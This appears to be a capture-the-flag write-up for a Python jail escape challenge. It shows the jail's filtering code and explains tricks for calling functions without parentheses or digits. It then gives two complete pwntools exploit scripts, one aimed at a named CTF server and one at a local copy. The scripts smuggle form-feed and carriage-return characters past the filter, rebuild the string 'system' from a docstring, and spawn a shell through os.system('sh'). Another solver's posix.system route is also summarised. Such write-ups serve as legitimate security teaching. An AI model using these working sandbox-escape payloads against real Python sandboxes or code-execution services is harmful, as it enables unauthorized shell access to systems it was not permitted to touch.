#!/usr/bin/env python3
code = '''
import sys
import posix
__builtins__ = sys._getframe(0).f_builtins
for _ in unsafe_builtins:
del __builtins__[_]
unsafe_builtins.clear()
posix.__dict__.clear()
sys.modules.clear()
for _ in sys.__dict__:
sys.__dict__[_] = None
del sys, posix
'''
unsafe_builtins = []
unsafe_chars = 'FT!"#$%&\'()*+-,/;<=>?@\\^`{|}~0123456789\t\n\v '
for _ in __builtins__.__dict__:
if not isinstance(__builtins__.__dict__[_], type):
unsafe_builtins.append(_)
elif _.startswith('_'):
unsafe_builtins.append(_)
elif _[0].islower():
unsafe_builtins.append(_)
user_input = input('Enter code: ').strip()
for c in set(user_input):
if c in unsafe_chars:
assert 0, 'Unsafe character detected!'
assert len(user_input.split('\r')) < 3
assert user_input.isascii()
exec(code + user_input, {'unsafe_builtins': unsafe_builtins}, {})
Requirements:
arr[[]is[]]
for arr[0]
, arr[not[]is[]]
for arr[1]
, arr[not[]is[]:][not[]is[]]
for arr[2]
[obj[arg] for obj.__class_getitem in [function_to_call]]
to call function[... for a in [b] for c in [d]]
\f
i.e. form feed[].__class__.__base__.__subclasses__()
<class 'os._wrap_close'>
to find systemInspired by writeup by @ayapi on Discord, although we use the different attack route eventually:
from pwn import *
import sys
def bool2index(n):
if n == 0:
return '[[]is[]]'
elif n == 1:
return '[not[]is[]]'
elif n > 1:
return ''.join('[not[]is[]:]' for x in range(n-1))+'[not[]is[]]'
payload = f'''
try:__loader__
except Exception as e:[[[[[[[[[[[[[[[[[[[[cls[sh] for cls.__class_getitem__ in [system]] for sh in [cls[h]]] for cls.__class_getitem__ in [s.__add__]] for system in [cls[cls].system]] for cls.__class_getitem__ in [cls.get_source.__globals__[k{bool2index(7)}].__loader__.create_module]] for cls.name in [cls[x]]] for cls.get_source.__globals__[k{bool2index(9)}].builtin_module_names in [[cls[x]]]] for cls.__class_getitem__ in[cls[i].__add__]] for cls.__class_getitem__ in[cls[s].__add__]] for cls.__class_getitem__ in [cls[o].__add__]] for cls.__class_getitem__ in [k{bool2index(2)}{bool2index(2)}.__add__]] for h in [k{bool2index(11)}{bool2index(4)}]] for o in [k{bool2index(1)}{bool2index(3)}]] for s in [k{bool2index(4)}{bool2index(2)}]] for i in [k{bool2index(5)}{bool2index(4)}]] for x in [k{bool2index(21)}{bool2index(10)}]] for k in [cls[cls.get_source.__globals__]]] for cls.__class_getitem__ in [list]] for list in [[].__class__]] for cls in [e.__traceback__.tb_frame.f_back.f_globals[e.name].__class__]]
'''.strip().replace('\n', '\r').replace(' ', '\f')
r = remote('ctf.tcp1p.team', 32771)
r.sendline(payload.encode())
r.interactive()
To call function, we need a mutable object to write to its __class_getitem__
:
for x in __builtins__.__dict__:
try:
__builtins__.__dict__[x].__class_getitem__ = print
print(x)
except:
pass
Output:
__loader__
__spec__
ExceptionGroup
quit
exit
copyright
credits
license
help
Here ExceptionGroup
is not a member of unsafe_builtins
, so we can use it for function call.
Steps:
[].__class__.__base__.__subclasses__()
via ExceptionGroup.__class_getitem__
<class '_sitebuiltins._Helper'>
and <class 'os._wrap_close'>
in the subclasses using the array index mechanism of [False]
, [True]
, [True:][True]
…"system"
and "sh"
from _sitebuiltins._Helper.__doc__
via "s".__add__("y").__add__("s").__add__("t").__add__("e").__add__("m")
system
in <class 'os._wrap_close'>.__init__.__globals__["system"]
system("sh")
Attach script:
from pwn import *
context(log_level="debug")
subclasses = str(().__class__.__base__.__subclasses__())
# find the indices of the builtins
# assuming we are using the same Python version as remote
# assuming os_wrap_close is at 158
os_index = 158
assert subclasses.split(", ").index("<class 'os._wrap_close'>") == os_index
# assuming Helper is at 161
helper_index = 161
assert subclasses.split(", ").index("<class '_sitebuiltins._Helper'>") == helper_index
helper_doc = ().__class__.__base__.__subclasses__()[helper_index].__doc__
def get_index(index):
# learn from @ayapi
if index == 0:
return "[[]is[]]" # [False] i.e. [0]
elif index == 1:
return "[not[]is[]]" # [True] i.e. [1]
else:
return (
"".join(["[not[]is[]:]"] * (index - 1)) + "[not[]is[]]"
) # [True:][True:][True] i.e. [3]
p = process(["python3", "jail.py"])
p.sendline(
(
"[None "
# [].__class__.__class__ = type
# ExceptionGroup.__class_getitem__ = type.__subclasses__
+ "for ExceptionGroup.__class_getitem__ in [[].__class__.__class__.__subclasses__]"
# locate helper: type.__subclasses__([].__class__.__base__))[helper_index]
+ f"for helper in [ExceptionGroup[[].__class__.__base__]{get_index(helper_index)}]"
# locate os._wrap_close: type.__subclasses__([].__class__.__base__))[os_index]
+ f"for os in [ExceptionGroup[[].__class__.__base__]{get_index(os_index)}]"
# read helper_doc
+ "for S in [helper.__doc__]"
# prepare to synthesize "system" and "sh"
+ f"for s in [S{get_index(helper_doc.index("s"))}]"
+ f"for y in [S{get_index(helper_doc.index("y"))}]"
+ f"for t in [S{get_index(helper_doc.index("t"))}]"
+ f"for e in [S{get_index(helper_doc.index("e"))}]"
+ f"for m in [S{get_index(helper_doc.index("m"))}]"
+ f"for h in [S{get_index(helper_doc.index("h"))}]"
# synthesize "system"
+ "for ExceptionGroup.__class_getitem__ in [s.__add__]"
+ f"for sy in [ExceptionGroup[y]]"
+ "for ExceptionGroup.__class_getitem__ in [sy.__add__]"
+ f"for sys in [ExceptionGroup[s]]"
+ "for ExceptionGroup.__class_getitem__ in [sys.__add__]"
+ f"for syst in [ExceptionGroup[t]]"
+ "for ExceptionGroup.__class_getitem__ in [syst.__add__]"
+ f"for syste in [ExceptionGroup[e]]"
+ "for ExceptionGroup.__class_getitem__ in [syste.__add__]"
+ f"for system in [ExceptionGroup[m]]"
# synthesize "sh"
+ "for ExceptionGroup.__class_getitem__ in [s.__add__]"
+ f"for sh in [ExceptionGroup[h]]"
# ExceptionGroup.__class_getitem__ = os.__init__.__globals__[system]
+ "for ExceptionGroup.__class_getitem__ in [os.__init__.__globals__[system]]"
# call system("sh")
+ "for _ in [ExceptionGroup[sh]]"
+ "]"
)
.replace(" ", "\f")
.encode()
)
p.interactive()
Here is the attack steps used in @ayapi’s writeup on Discord:
sys.builtin_module_names = ["posix"]
posix
module via posix = builtins.__loader__.create_module([builtins.__spec__ for builtins.__spec__.name in ["posix"]][0])
(learned from Pyjail Cheatsheet)posix.system("sh")